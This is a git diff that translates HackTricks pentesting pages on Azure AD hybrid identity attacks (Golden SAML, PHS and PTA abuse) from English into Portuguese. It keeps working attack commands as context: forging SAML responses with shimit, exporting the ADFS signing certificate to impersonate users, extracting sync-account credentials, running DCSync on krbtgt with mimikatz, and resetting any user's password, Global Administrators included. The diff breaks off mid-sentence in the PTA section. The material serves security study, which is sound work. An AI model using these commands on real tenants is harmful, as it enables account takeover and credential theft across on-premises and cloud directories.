[https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 593b0222a..4f5fdf56c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,12 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**Verifique a técnica em:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) e [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post. +O post do blog discute uma vulnerabilidade de elevação de privilégios no Azure AD, permitindo que Administradores de Aplicativos ou Contas de Sincronização On-Premise comprometidas elevem privilégios ao atribuir credenciais a aplicativos. A vulnerabilidade, decorrente do comportamento "por design" do Azure AD em relação ao manuseio de aplicativos e principais de serviço, afeta notavelmente os aplicativos padrão do Office 365. Embora tenha sido relatado, o problema não é considerado uma vulnerabilidade pela Microsoft devido à documentação do comportamento de atribuição de direitos administrativos. O post fornece insights técnicos detalhados e aconselha revisões regulares das credenciais de principais de serviço em ambientes Azure AD. Para mais informações detalhadas, você pode visitar o post original do blog. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 4af67011b..cf0cb4d21 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -1,36 +1,30 @@ -# Az- Synchronising New Users +# Az- Sincronizando Novos Usuários {{#include ../../../../banners/hacktricks-training.md}} -## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD +## Sincronizando usuários do AzureAD para o on-prem para escalar do on-prem para o AzureAD -I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements: - -- The **AzureAD user** needs to have a proxy address (a **mailbox**) -- License is not required -- Should **not be already synced** +Para sincronizar um novo usuário **do AzureAD para o AD on-prem**, estes são os requisitos: +- O **usuário do AzureAD** precisa ter um endereço proxy (uma **caixa de correio**) +- Licença não é necessária +- Não deve **já estar sincronizado** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` +Quando um usuário como esses é encontrado no AzureAD, para **acessá-lo a partir do AD local** você só precisa **criar uma nova conta** com o **proxyAddress** o e-mail SMTP. -When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email. - -An automatically, this user will be **synced from AzureAD to the on-prem AD user**. +Automaticamente, esse usuário será **sincronizado do AzureAD para o usuário do AD local**. > [!CAUTION] -> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**. +> Observe que para realizar esse ataque você **não precisa de Domain Admin**, você só precisa de permissões para **criar novos usuários**. > -> Also, this **won't bypass MFA**. +> Além disso, isso **não irá contornar o MFA**. > -> Moreover, this was reported an **account sync is no longer possible for admin accounts**. +> Além disso, foi relatado que **a sincronização de contas não é mais possível para contas de administrador**. ## References - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 480c5f22b..3adc75778 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -4,32 +4,32 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** é uma coleção de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos. -You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available. +Você pode **federar seu ambiente on-premises** **com o Azure AD** e usar essa federação para autenticação e autorização. Este método de login garante que toda a **autenticação do usuário ocorra on-premises**. Este método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com **AD FS** e PingFederate está disponível.
-Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**. +Basicamente, na Federação, toda a **autenticação** ocorre no ambiente **on-prem** e o usuário experimenta SSO em todos os ambientes confiáveis. Portanto, os usuários podem **acessar** aplicações **cloud** usando suas **credenciais on-prem**. -**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers. +**Security Assertion Markup Language (SAML)** é usado para **trocar** todas as informações de autenticação e autorização entre os provedores. -In any federation setup there are three parties: +Em qualquer configuração de federação, existem três partes: -- User or Client -- Identity Provider (IdP) -- Service Provider (SP) +- Usuário ou Cliente +- Provedor de Identidade (IdP) +- Provedor de Serviço (SP) (Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
-1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation. -2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP. -3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user. -4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service. +1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como console AWS ou cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica. +2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido. +3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário. +4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço. -**If you want to learn more about SAML authentication and common attacks go to:** +**Se você quiser aprender mais sobre autenticação SAML e ataques comuns, vá para:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,54 +37,53 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS is a claims-based identity model. -- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet." -- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP. -- A user is identified by ImmutableID. It is globally unique and stored in Azure AD. -- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user. -- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) +- AD FS é um modelo de identidade baseado em declarações. +- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet." +- As declarações para um usuário são escritas dentro dos tokens SAML e são então assinadas para fornecer confidencialidade pelo IdP. +- Um usuário é identificado pelo ImmutableID. É globalmente único e armazenado no Azure AD. +- O ImmutableID é armazenado on-prem como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário. +- Mais informações em [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Golden SAML attack:** -- In ADFS, SAML Response is signed by a token-signing certificate. -- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD! -- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response. -- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine. -- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +- No ADFS, a SAML Response é assinada por um certificado de assinatura de token. +- Se o certificado for comprometido, é possível autenticar no Azure AD como QUALQUER usuário sincronizado com o Azure AD! +- Assim como nosso abuso de PTA, a mudança de senha para um usuário ou MFA não terá efeito porque estamos forjando a resposta de autenticação. +- O certificado pode ser extraído do servidor AD FS com privilégios de DA e então pode ser usado de qualquer máquina conectada à internet. +- Mais informações em [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP. +O processo onde um **Provedor de Identidade (IdP)** produz uma **SAMLResponse** para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a **resposta** pode ser **assinada** ou **criptografada** usando a **chave privada do IdP**. Este procedimento permite que o **Provedor de Serviço (SP)** confirme a autenticidade da SAMLResponse, garantindo que foi realmente emitida por um IdP confiável. -A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP. +Um paralelo pode ser traçado com o [ataque de golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets dourados, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP. -Golden SAMLs offer certain advantages: +Golden SAMLs oferecem certas vantagens: -- They can be **created remotely**, without the need to be part of the domain or federation in question. -- They remain effective even with **Two-Factor Authentication (2FA)** enabled. -- The token-signing **private key does not automatically renew**. -- **Changing a user’s password does not invalidate** an already generated SAML. +- Eles podem ser **criados remotamente**, sem a necessidade de fazer parte do domínio ou federação em questão. +- Eles permanecem eficazes mesmo com **Autenticação de Dois Fatores (2FA)** habilitada. +- A chave privada de assinatura de token **não se renova automaticamente**. +- **Mudar a senha de um usuário não invalida** um SAML já gerado. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation. +[Active Directory Federation Services (AD FS)]() é um serviço da Microsoft que facilita a **troca segura de informações de identidade** entre parceiros de negócios confiáveis (federação). Ele essencialmente permite que um serviço de domínio compartilhe identidades de usuários com outros provedores de serviço dentro de uma federação. -With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key. +Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente **adquirir quaisquer permissões no ambiente AWS**. O ataque requer a **chave privada usada para assinar os objetos SAML**, semelhante à necessidade do KRBTGT em um ataque de golden ticket. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada. -The requirements for executing a golden SAML attack include: +Os requisitos para executar um ataque golden SAML incluem: -- **Token-signing private key** -- **IdP public certificate** -- **IdP name** -- **Role name (role to assume)** -- Domain\username -- Role session name in AWS -- Amazon account ID +- **Chave privada de assinatura de token** +- **Certificado público do IdP** +- **Nome do IdP** +- **Nome do papel (papel a assumir)** +- Domínio\username +- Nome da sessão do papel na AWS +- ID da conta da Amazon -_Only the items in bold are mandatory. The others can be filled in as desired._ - -To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user: +_Somente os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._ +Para adquirir a **chave privada**, o acesso à **conta de usuário do AD FS** é necessário. A partir daí, a chave privada pode ser **exportada do armazenamento pessoal** usando ferramentas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` - -With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:** - +Com todas as informações, é possível esquecer uma SAMLResponse válida como o usuário que você deseja impersonar usando [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
-### On-prem -> cloud - +### On-prem -> nuvem ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` - -It's also possible to create ImmutableID of cloud only users and impersonate them - +Também é possível criar ImmutableID de usuários apenas na nuvem e se passar por eles. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) @@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate # Impersonate the user Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose ``` - -## References +## Referências - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 0bf61effe..123adcbeb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -1,46 +1,45 @@ -# Az - PHS - Password Hash Sync +# Az - PHS - Sincronização de Hash de Senha {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
-It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD. +É o **método mais comum** usado por empresas para sincronizar um AD local com o Azure AD. -All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\ -Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD. +Todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.\ +Além disso, grupos de segurança **integrados** (como administradores de domínio...) **não são sincronizados** com o Azure AD. -The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password. +A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. -When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**. +Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**. -**PHS** is required for features like **Identity Protection** and AAD Domain Services. +**PHS** é necessário para recursos como **Proteção de Identidade** e Serviços de Domínio AAD. -## Pivoting +## Pivotando -When PHS is configured some **privileged accounts** are automatically **created**: +Quando o PHS é configurado, algumas **contas privilegiadas** são automaticamente **criadas**: -- The account **`MSOL_`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**. -- An account **`Sync__installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD. +- A conta **`MSOL_`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) o que significa que possui **permissões de replicação (DCSync) no AD local**. +- Uma conta **`Sync__installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas em nuvem) no Azure AD. -Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\ -The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. +As senhas das duas contas privilegiadas anteriores são **armazenadas em um servidor SQL** no servidor onde **Azure AD Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\ +O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -It's possible to extract the configuration from one of the tables, being one encrypted: +É possível extrair a configuração de uma das tabelas, sendo uma criptografada: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD. +A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações é possível realizar elevação de privilégios para o AD e para o AzureAD. -You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Finding the **Azure AD connect server** - -If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with: +### Encontrando o **servidor de conexão do Azure AD** +Se o **servidor onde o Azure AD connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` - -### Abusing MSOL\_\* - +### Abusando MSOL\_\* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -59,14 +56,12 @@ Get-AADIntSyncCredentials runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` - > [!CAUTION] -> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials. +> Você também pode usar [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) para obter essas credenciais. -### Abusing Sync\_\* - -Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators) +### Abusando Sync\_\* +Comprometendo a conta **`Sync_*`** é possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais) ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` - -It's also possible to **modify the passwords of only cloud** users (even if that's unexpected) - +É também possível **modificar as senhas de apenas usuários da nuvem** (mesmo que isso seja inesperado) ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -98,21 +91,20 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` - -It's also possible to dump the password of this user. +É também possível despejar a senha deste usuário. > [!CAUTION] -> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc. +> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc. -### Seamless SSO +### SSO Sem Costura -It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in: +É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Confira em: {{#ref}} seamless-sso.md {{#endref}} -## References +## Referências - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) @@ -120,7 +112,3 @@ seamless-sso.md - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index f6edf1214..c112f32dc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -1,74 +1,66 @@ -# Az - PTA - Pass-through Authentication +# Az - PTA - Autenticação Pass-through {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários são menos propensos a esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**. -In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS. +No PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS. -The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC). +A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local). -### Authentication flow +### Fluxo de Autenticação
-1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password** -2. The **credentials** are **encrypted** and set in a **queue** in Azure AD -3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.** -4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user. +1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha** +2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD +3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA.** +4. O **agente** **valida** as credenciais contra o **AD local** e envia a **resposta** **de volta** para o Azure AD que, se a resposta for positiva, **completa o login** do usuário. > [!WARNING] -> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\ -> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key). +> Se um atacante **comprometer** o **PTA**, ele pode **ver** todas as **credenciais** da fila (em **texto claro**).\ +> Ele também pode **validar qualquer credencial** para o AzureAD (ataque semelhante ao Skeleton key). -### On-Prem -> cloud - -If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will 